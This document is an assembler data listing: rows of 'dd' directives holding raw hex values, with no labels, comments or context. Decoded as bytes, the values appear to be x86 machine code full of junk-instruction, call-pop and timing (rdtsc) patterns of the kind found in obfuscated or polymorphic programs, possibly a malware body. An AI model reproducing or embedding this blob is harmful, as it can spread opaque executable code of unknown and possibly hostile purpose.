dd 0F0207E0h, 5884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 0AE9B6h, 0DADD0000h, 0CFB8B469h
dd 286AC9Ah, 2039858Bh, 6A07E0h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 1A48BCC3h, 1D29BD33h
dd 0C607E0h, 3D85C700h, 7E004h, 81000000h, 38015EFh, 0F3AAE93Fh
dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 7CB41C3h, 0EE8E285h, 35000000h, 1D61C655h
dd 5EDC9724h, 457ED5C2h, 0DF81665Ah, 8B5B52A2h, 0A1BD8BC1h
dd 8D07E004h, 0E013C985h, 5250FC07h, 0E232BB66h, 2404895Bh
dd 2301B529h, 6A07E0h, 66CFEF80h, 6ADE8Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 22C35141h, 0A3858DFCh
dd 6A07E4B1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0E13EC353h, 0D2949F77h, 0AE8FC7Dh
dd 32000000h, 4BFA1BD2h, 9AFB91h, 8529601Ch, 7E0203Dh
dd 0C0835B61h, 0D9D8B05h, 9007E019h, 6650B1B3h, 6A90F98Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 90BCC357h, 40E38177h, 8B00B62Ch, 0E02A55BDh
dd 6A006A07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 8873C353h, 0A94DAB93h, 897CDBDEh
dd 0E02FF9B5h, 8C0F07h, 6A000000h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0C918BC96h
dd 89EB9D67h, 0E01FD585h, 95FFF907h, 7E03441h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 41C35040h, 8D2957F9h
dd 7E0129Dh, 69B5295Fh, 8D07E02Fh, 0E3A3938Dh, 0CF805107h
dd 0B70F5B07h, 6AD1FFF9h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0C471C356h, 35EAE7A9h
dd 9CCB8166h, 9E10BFE9h, 0BD831265h, 7E016B1h, 8C850F01h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 6A3EC353h, 55006A02h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0F5786B87h
dd 0A53E5D48h, 0F88A75B0h, 83BF6650h, 240489ABh, 6820Fh
dd 9D890000h, 7E03245h, 2A9995FFh, 6A07E0h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CFC336C3h
dd 650019FFh, 0E58589h, 816607E0h, 0E952ADF3h, 0D94h, 0E8h
dd 0ED815D00h, 7E4B1ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 58C35545h, 0C604EB55h, 0F864532h, 6AFBB7h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 2A486CC3h, 477243AAh, 0E82721ABh, 14h, 0A50DFE6Fh, 0AD6D734Dh
dd 8BA8D650h, 80596457h, 0BFDD38F4h, 8D5FD98Bh, 0E3946385h
dd 0B9BD3307h, 6607E020h, 500F67BBh, 9E9h, 0A2606300h
dd 76F0DF04h, 4891EB5h, 4D8D8924h, 6407E02Eh, 35FFh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 7E3D0FC3h, 333D02FDh, 12E964h, 0E9E40000h, 97FD85F8h
dd 65AB2B3Fh, 8EDF2232h, 0ACABA4B0h, 258964F5h, 0
dd 13BD9589h, 85FF07E0h, 7E020FDh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 34C35747h, 14E8E6D0h, 9000000h
dd 86277B3Ah, 45477C9Bh, 0ACADB1D9h, 0F0ACCC43h, 5B72C27Dh
dd 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 9FA793C3h, 0C380B484h, 91BD3315h, 0FF07E01Bh
dd 0E004A9B5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 8995FF3Fh, 0E907E033h
dd 126h, 26A9BD23h, 0BD2907E0h, 7E004EDh, 8D0F00B0h, 0Ch
dd 68D0Fh, 9D8B0000h, 7E023F1h, 0BF6670E6h, 71E46868h
dd 830F613Ch, 0F6h, 41BD23h, 0B60F07E0h, 10E9C8h, 47A70000h
dd 1D651C46h, 5A168880h, 8E87E0C5h, 6BA7868h, 89000000h
dd 0E016118Dh, 29C18B07h, 0E0137195h, 4E8C107h, 2F32D381h
dd 0F76611F9h, 6820FE2h, 29000000h, 0E017BDB5h, 89C82B07h
dd 0E016CD95h, 8BD18B07h, 0E002019Dh, 1AE907h, 11E80000h
dd 32000000h, 0EC8B5FA3h, 0B6814288h, 0F483733h, 91155164h
dd 5B5CD380h, 2601858Bh, 0BB6607E0h, 0C0838A66h, 43CB8107h
dd 831E29A1h, 0BD8900C0h, 7E03415h, 0D03BD88Bh, 0C830Fh
dd 0E9F80000h, 52h, 33AD9D89h, 8D8B07E0h, 7E020E9h, 118E0Fh
dd 8E0F0000h, 0Bh, 5E8h, 70CA5400h, 835F6319h, 840F01E1h
dd 26h, 2F318589h, 36BF07E0h, 837912B8h, 0E020E9A5h, 9D29FE07h
dd 7E02CA9h, 26019589h, 0D38007E0h, 0E9ECh, 0B58D0000h
dd 7E42B51h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 77C35545h, 708F781h, 0CE83B46h, 82000000h, 715B589Dh
dd 7012DFD6h, 6689A6B1h, 5BD4A2BFh, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D4CC4BC3h
dd 9805FCE0h, 8903DCCAh, 0E0011D85h, 0A995FF07h, 6A07E018h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 2B78C352h, 46F64562h, 8FE7F49Dh, 11E8DE8Ah
dd 0A5000000h, 0DE245E66h, 8D7F128h, 0FDB109B4h, 30B62CEBh
dd 28EDBD8Bh, 0B95B07E0h, 816h, 2AE5BD8Bh, 0DF8B07E0h
dd 0E9FCE183h, 0Fh, 0BF8502F5h, 6642F787h, 0F9DDFAFDh
dd 8130F22Dh, 0F21232DBh, 6AFC6Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0B8ECC3C3h, 0
dd 2E859D8Bh, 0D22B07E0h, 258D9D8Bh, 33AD07E0h, 3E8D1C2h
dd 4E983D0h, 9D89F475h, 7E01195h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 36C35343h, 1F339E96h, 0D99D3363h
dd 0D07E004h, 88h, 6880Fh, 0B5010000h, 7E001C9h, 10E9h
dd 0CAFA3800h, 518E6E26h, 1D708E9Fh, 8A34743Dh, 15958B39h
dd 6A07E018h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0CCCBC356h, 3D958954h, 8B07E020h
dd 0E020498Dh, 0F5BF6607h, 0C28B5071h, 0C103188Bh, 0C18B188Bh
dd 0C203E8D1h, 0E958188Bh, 9, 98FECE0h, 3717FC8Ah, 0E9BD8B9Ch
dd 8307E033h, 0E012F5BDh, 840F0007h, 5Eh, 0B8F8h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 79EC8AC3h, 0DD3B30CDh, 58EF80B0h, 4EE88D8Dh, 0B58907E0h
dd 7E00565h, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 2D5A2EC3h, 2B00E381h, 0BD837AF5h
dd 7E022C5h, 23840F00h, 60000004h, 33AD9D01h, 0F6007E0h
dd 8Fh, 0D2816600h, 616118DCh, 22C5BD83h, 0F0107E0h, 41C84h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0E2D55EF9h, 0C381660Eh, 0BD83592Ch, 7E022C5h
dd 0B4860F03h, 89000003h, 0E01CA585h, 9D236007h, 7E01A21h
dd 8BD98C66h, 5FDB80D9h, 6A04E180h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 9208C353h
dd 5820Fh, 81660000h, 0AC74AF3h, 41840FC9h, 23000001h
dd 0E00095BDh, 99858B07h, 6A07E033h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 31D9C352h
dd 10A357Ch, 7E8h, 0C8EF2200h, 51B75B66h, 2F55BD8Bh, 95B07E0h
dd 0E01DC99Dh, 89853307h, 6A07E031h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6457C356h
dd 16FD9589h, 0CB8007E0h, 0BB6690A7h, 505092E8h, 0FDD8A52h
dd 0B3BB5031h, 5B122631h, 6A90585Ah, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C853C353h
dd 6A0E816Ah, 0DA8B6600h, 48169868h, 0EE83Eh, 66AE0000h
dd 0BF0C2751h, 37CE5484h, 41430F7Dh, 68A0Fh, 52500000h
dd 585A310Fh, 2434815Fh, 3E571567h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0A0C35141h, 2439B531h, 0FFF507E0h
dd 0E021CD95h, 89F98B07h, 0E3CBAD85h, 0FDB58907h, 0E907E025h
dd 208h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 80C35646h, 12C2CE9h, 5E91F2Eh, 0D000000h, 0CF386657h
dd 0CBA5858Bh, 0BD2907E3h, 7E02371h, 1800C7h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0CF6DBC3h, 8B66F35Ch, 0A9B58BFEh, 0E807E3CBh, 8, 4FCA3D83h
dd 9438156Eh, 5E53F560h, 858B5B61h, 7E005F9h, 2881B531h
dd 68907E0h, 111BD89h, 0BD2307E0h, 7E02621h, 3399858Bh
dd 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 24FAAAC3h, 857086BAh, 4468925h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5FC35141h, 0A6CE15ACh
dd 9D8B4DD8h, 7E00639h, 8B666096h, 53B966CAh, 565061B0h
dd 0DF3FBA60h, 0A2B87257h, 61320AF1h, 9529965Bh, 7E023A5h
dd 0CBA5B5FFh, 4E807E3h, 0FF000000h, 0E9001F03h, 0Bh, 34D50029h
dd 9752ECF5h, 5075034Ah, 448BFB8Bh, 8E90424h, 4D000000h
dd 24CC3B11h, 8B771464h, 897AB700h, 0E9042444h, 0Ch, 66A7F4DDh
dd 1ECD27C8h, 928AFFAAh, 51006A58h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 9D8B3EF1h, 7E02FF9h, 0CBAD858Dh
dd 9D8B07E3h, 7E02E4Dh, 8E86090h, 7000000h, 0A7CDA63Dh
dd 8B5250A9h, 0CE85AF0h, 32000000h, 4BB8C09Ch, 2BBAA35Fh
dd 0F9F5524h, 8Eh, 50615E00h, 52505250h, 310F5F52h, 0EE9h
dd 4C7A6B00h, 7B1FBB8Bh, 922FB26Ah, 5A40B8EFh, 0B3310F58h
dd 90585AB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0F9C35141h, 263002CEh, 8589FA8Bh, 7E0088Dh, 21CD95FFh
dd 0C38107E0h, 2096599Fh, 0C585C761h, 307E022h, 81000000h
dd 0B8A05FDBh, 0ADBD8308h, 7E3CBh, 31840Fh, 0EF800000h
dd 44E951h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 3042D1C3h, 870FE1E6h, 0E0CF8107h
dd 50075111h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0C3201BC3h, 5860Fh, 81660000h, 6640A2EBh
dd 42CFF781h, 22C5BD83h, 0F0307E0h, 3B685h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 5626025Ch, 4C13B1E7h, 6E9h, 0C27CA800h, 8348C73Bh, 0E3CBADBDh
dd 840F0007h, 37Bh, 9599D781h, 0B5FF289Ch, 7E3CBADh, 10B59D0Bh
dd 95FF07E0h, 7E01DA9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0DEC35040h, 0E9AB4FCDh, 25A4AA95h, 0A1B58B8Ch
dd 8B07E3CBh, 0E017B59Dh, 19BD8B07h, 0C707E029h, 1000106h
dd 859D8B00h, 0F807E001h, 0FB8B5096h, 5E896h, 0CFEC0000h
dd 66A07D2Eh, 5B67CBBFh, 26B1BD89h, 0B5FF07E0h, 7E3CBADh
dd 11E8h, 2F588100h, 18422978h, 0C11BCF9Fh, 0DC72675h
dd 8D8917F4h, 7E03125h, 1195FF5Bh, 6607E030h, 8BCA1ABBh
dd 0E3CBA1B5h, 0CE907h, 263D0000h, 6E003C1Fh, 0C1568840h
dd 858B0FEAh, 7E022D1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 20C35141h, 0E96E136Bh, 0Ah, 0B97DD1DAh
dd 0BAA6D074h, 8689CCD0h, 0C4h, 8BFEBF0Fh, 0E0181595h
dd 3DBD8907h, 8307E014h, 30BF04C2h, 890CF994h, 6A2050h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0DAE0C2C3h, 0DE476F9Eh, 0AD9D8B69h, 307E006h, 0E01D01BDh
dd 0D4858D07h, 6A07E3E0h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0DBE6C355h, 419589E4h
dd 6607E025h, 0C069C381h, 0B88689h, 8D890000h, 7E0294Dh
dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0F4B7A8C3h, 0F1E34551h, 95091698h, 7E02911h
dd 0DAD78166h, 0ADB5FFC7h, 8B07E3CBh, 0E011A99Dh, 9995FF07h
dd 6A07E02Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 7D3C352h, 9046D35Dh, 0FA8B6611h
dd 0E6EB8166h, 0D789BB96h, 8B507B12h, 243489DEh
dd 12299D29h, 0B5FF07E0h, 7E3CBADh, 0D4C4BF66h, 28E995FFh
dd 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 8BD83BC3h, 0C99D8BDAh, 8307E012h, 0E028E1BDh
dd 840F0007h, 5Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0CCC35242h, 32D8B560h, 81FF87F7h, 0CB9228DFh
dd 94DB8178h, 5057C79Eh, 5662BF53h, 895B4BB8h, 6A2434h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 31748BC3h, 0E02CB595h, 0ADB5FF07h, 6607E3CBh, 4B53CF81h
dd 303595FFh, 8D0907E0h, 7E01AB1h, 0CBADB5FFh, 6A07E3h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 378F7AC3h, 0A05F5204h, 2B0D9D31h, 9D8907E0h, 7E026B9h
dd 1B995FFh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0C2D4A6C3h, 0CC8A7923h, 0BD8362C5h
dd 7E00731h, 54840F02h, 89000000h, 0E0347595h, 39858B07h
dd 6A07E020h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 293FC352h, 0FD426C8Fh, 6A0000C6h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 93B3C351h, 7BF53D24h, 0C76B9348h, 0E0043D85h
dd 7, 5D9D8B00h, 0E907E020h, 0FFFFF3F0h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 14h, 3FC35343h, 0F2D2BF60h
dd 858B6D0Dh, 7E0138Dh, 6AC18B61h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9E5AC355h
dd 3C96B4EFh, 0E4EE1E29h, 6E9h, 0D4A5DA00h, 0F50E941Bh
dd 13C9858Dh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 9E99BC3h, 35000000h, 600CFAC2h
dd 750940F5h, 0CBB6650h, 24048904h, 6AF98Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 4AC35141h, 3FE4CBF0h
dd 0B589D98Ah, 7E023BDh, 850F006Ah, 3, 8DDFBF0Fh, 0E4C16885h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 6BC56701h, 6F160786h, 5753A50Fh, 5B5F5B56h
dd 64DBD8Bh, 0C08307E0h, 0FEB70F05h, 0FC5CBB50h, 489759Eh
dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 96EADE56h, 7DBF74DAh, 6A5EC99Bh, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0E94E2BB4h, 7, 0AEAA97B2h, 6A97F561h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 31B445D8h, 0E02F8D9Dh, 1BD3107h, 0FF07E002h, 0E0344195h
dd 6870F07h, 8B000000h, 0E02085BDh, 5880F07h, 0BF000000h
dd 11131E22h, 0A3938D8Dh, 6A07E3h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 570BE0C3h, 280ABF52h
dd 5F5B02C6h, 6AD1FFh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 83D8C3C3h, 0E016B1BDh, 850F0107h
dd 84h, 6800Fh, 9D290000h, 7E024FDh, 6A026Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E96AB2C3h
dd 8, 0D38AF631h, 779B0FC5h, 5A516050h, 2820Fh, 0F18B0000h
dd 24048961h, 4880Fh, 0B7560000h, 95FF5BE8h, 7E02A99h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1FC35747h
dd 63270E6Ah, 0BB663A65h, 8D8960C4h, 7E0195Dh, 0DB3E9h
dd 0E800h, 815D0000h, 0E4C172EDh, 5F29BB07h, 8D314B09h
dd 7E03161h, 9463858Dh, 0BF0F07E3h, 0F98A90D8h, 9021B350h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FAC35242h
dd 0EB816660h, 8D233512h, 7E01671h, 35FF6461h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 71C35545h
dd 5FF85346h, 6399D8Bh, 896407E0h, 25h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0FD85FFF9h, 6A07E020h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 9131C357h, 8A17C0E1h
dd 0FFF6AFDh, 28Ch, 0FFDF8B00h, 0E02A35B5h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0E66D82D7h, 0F2256A44h, 95FFEDB8h, 7E03389h, 0FEE9h
dd 0F0816000h, 54E383ABh, 2EF99D8Bh, 0B06107E0h, 70E6FC00h
dd 1AF78166h, 8971E4E7h, 0E0049185h, 0EF816607h, 613CB9CAh
dd 0D1830Fh, 9D8B0000h, 7E01E71h, 1C8B60Fh, 0E0321D9Dh
dd 6BA07h, 95890000h, 7E01871h, 0E8C1C18Bh, 11B58904h
dd 6607E032h, 0DB81E2F7h, 3193E8C5h, 9D8BC82Bh, 7E028F9h
dd 8960D18Bh, 0E021299Dh, 0D1BF0F07h, 0CE961h, 7E90000h
dd 2C000000h, 0A8F3E4BFh, 858B5F1Eh, 7E01A3Dh, 14B59529h
dd 0C08307E0h, 0A99D8B07h, 8307E023h, 0D03B00C0h, 21830Fh
dd 0B3600000h, 0F08B6674h, 51E961h, 10E90000h, 0CC000000h
dd 43C8384h, 23CE08C1h, 0DE8FABE5h, 8BF65C21h, 0E014758Dh
dd 0FB8B6607h, 16898D89h, 0E18307E0h, 24840F01h, 2B000000h
dd 0E02C71BDh, 75A58307h, 0FE07E014h, 19D19D8Bh, 958907E0h
dd 7E01A3Dh, 1259D8Bh, 0E907E0h, 8D000000h, 0E43AACB5h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 50F0A907h, 6A2933h, 1C1BD8Bh, 9D2B07E0h
dd 7E0205Dh, 18A995FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 34DB96C3h, 9E8A3h, 0E1310000h
dd 0CCDF7060h, 899CA288h, 0E000FD9Dh, 9D2B5F07h, 7E02C19h
dd 7E2B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 176FB2Dh, 0E0014595h, 0FCE18307h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7FC35141h
dd 11C49959h, 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 944578h, 0C5BD8953h, 5B07E000h, 0B8h
dd 1BD8B00h, 0BA07E006h, 0
dd 75952956h, 5F07E012h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 31C35040h
dd 65BD8B48h, 0F07E026h, 68Ch, 1D9D8B00h, 2B07E001h, 0E001A9BDh
dd 880D07h, 0BF660000h, 0DE8BFB5Bh, 1815958Bh, 6A07E0h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 274B60C3h, 20498D8Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 3606B6C3h, 5C3F72CBh
dd 357D8FBFh, 0C28B5025h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 0F58188Bh, 387h, 0F8BF0F00h, 8A0Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 0CFE5FFC3h, 12E901h, 4D7D0000h, 60FE183Bh, 0C4ABBCB7h
dd 0D2DC6B4Bh, 9705A595h, 12F5BD83h, 0F0007E0h, 5D84h
dd 0FE9F500h, 0DB000000h, 75DD9E18h, 85BCF94Ah, 2400D289h
dd 0B87248h, 89000000h, 0E025AD8Dh, 0E88D8D07h, 6A07E04Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 5898C356h, 0CA6533CCh, 4C7EAA07h, 2D853152h
dd 5B07E024h, 0F381E1FFh, 28FFD313h, 0BD8335B7h, 7E022C5h
dd 83840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 98DC352h, 4A488C18h
dd 10E8B6DEh, 78000000h, 0C7421E35h, 0FE49B0A9h, 0DC50D327h
dd 89D97E01h, 0E008D5BDh, 0BD835B07h, 7E022C5h, 52840F01h
dd 56000004h, 13419529h, 835B07E0h, 0E022C5BDh, 860F0307h
dd 407h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 0F5C35747h, 8B60B822h, 0E01ADDBDh, 0D98C6607h
dd 80FE8B66h, 0F78004E1h, 0FC90A53h, 14084h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0FFE48BD7h, 7F3B5A04h, 0CE96004h, 0E0000000h, 0DAD586D9h
dd 13DEF1F1h, 0FD88493h, 0BB61DAB7h, 60344333h, 3399858Bh
dd 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0E9AA58C3h, 7062AC76h, 9D8B71E1h, 7E025BDh
dd 31898533h, 816607E0h, 0F2075F3h, 68Fh, 0E9858900h, 5007E01Ch
dd 5E9h, 0D0BAA600h, 489ABCCh, 0D19D8B24h, 6A07E031h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 2E896999h, 830F5357h, 6, 2A95BD8Bh, 685B07E0h, 70434C89h
dd 76243481h, 6A705C4Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0B7C9C352h, 0B6954DDFh
dd 95FFF5EFh, 7E021CDh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 1FC35141h, 5601845Ah, 7F269DD8h, 6ED8D31h
dd 858907E0h, 7E3CBADh, 1D399D8Bh, 27E907E0h, 3000002h
dd 0E01DC99Dh, 0A5858B07h, 6A07E3CBh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 6F09C350h
dd 0DE953F8h, 87000000h, 111103C6h, 5342F217h, 406CB58Ch
dd 1800C75Bh, 8B000000h, 0E3CBA9B5h, 0E3816607h, 70BF60B9h
dd 8B747C6Ch, 0E005F985h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0D418C1F4h
dd 4852EFCCh, 0BD8BB4C0h, 7E01129h, 85890689h, 7E01051h
dd 22D59D8Bh, 858B07E0h, 7E03399h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 8BC35040h, 8EAF87A7h, 33AABAC0h
dd 11E957h, 59850000h, 0F884B307h, 76F38A16h, 0C2231D46h
dd 5F2737A8h, 0B920C381h, 46897C11h, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0EA4658Dh
dd 907C7639h, 0BD8B6CB7h, 7E02585h, 161D9D8Bh, 0BB5007E0h
dd 107F7006h, 8B243489h, 0E02D2DBDh, 0A5B5FF07h, 6607E3CBh
dd 4E8DE8Bh, 0FF000000h, 51001F03h, 2840Fh, 5F510000h
dd 9E9505Fh, 0CB000000h, 0A41F1EE8h, 0C346C478h, 424448Bh
dd 1BB6052h, 6177FFE5h, 0E8008B5Fh, 6, 0ECB94567h, 0BB66C496h
dd 895FA814h, 8B042444h, 6A58F8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 9BBE9AC3h, 0B59D8B34h
dd 8B07E028h, 0E01099BDh, 0AD858D07h, 6A07E3CBh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0D0AFC356h, 7F49636Bh, 5090B702h, 8B666052h, 0F5250F9h
dd 61585A31h, 0BB66310Fh, 585AD85Ch, 90FE8B50h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0E9C35141h, 0FF3C6F4Dh
dd 0E021CD95h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 92F9D8F2h, 0D22DD9C9h
dd 6A61FC8Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0E49DC357h, 0C71572D9h, 0E022C585h
dd 307h, 5DB58900h, 8B07E02Dh, 0E01C5DBDh, 0ADBD8307h
dd 7E3CBh, 29840Fh, 3FE90000h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 9F2FC352h
dd 0E5BD29F5h, 5007E01Ah, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 0E6E584C3h, 6AD74Ch
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0F50195C3h, 73566A37h, 0BD83D88Ah, 7E022C5h, 0FF850F03h
dd 8B000003h, 0E0290D9Dh, 0ADBD8307h, 7E3CBh, 3EC840Fh
dd 0E8BB0000h, 0FF2B2A3Eh, 0E3CBADB5h, 0C1BD8B07h, 0FF07E01Ch
dd 0E01DA995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0D8BFB08Fh, 0EC7A0B3Ch
dd 0B58BD249h, 7E3CBA1h, 0FE19589h, 6C707E0h, 10001h, 0E851006Ah
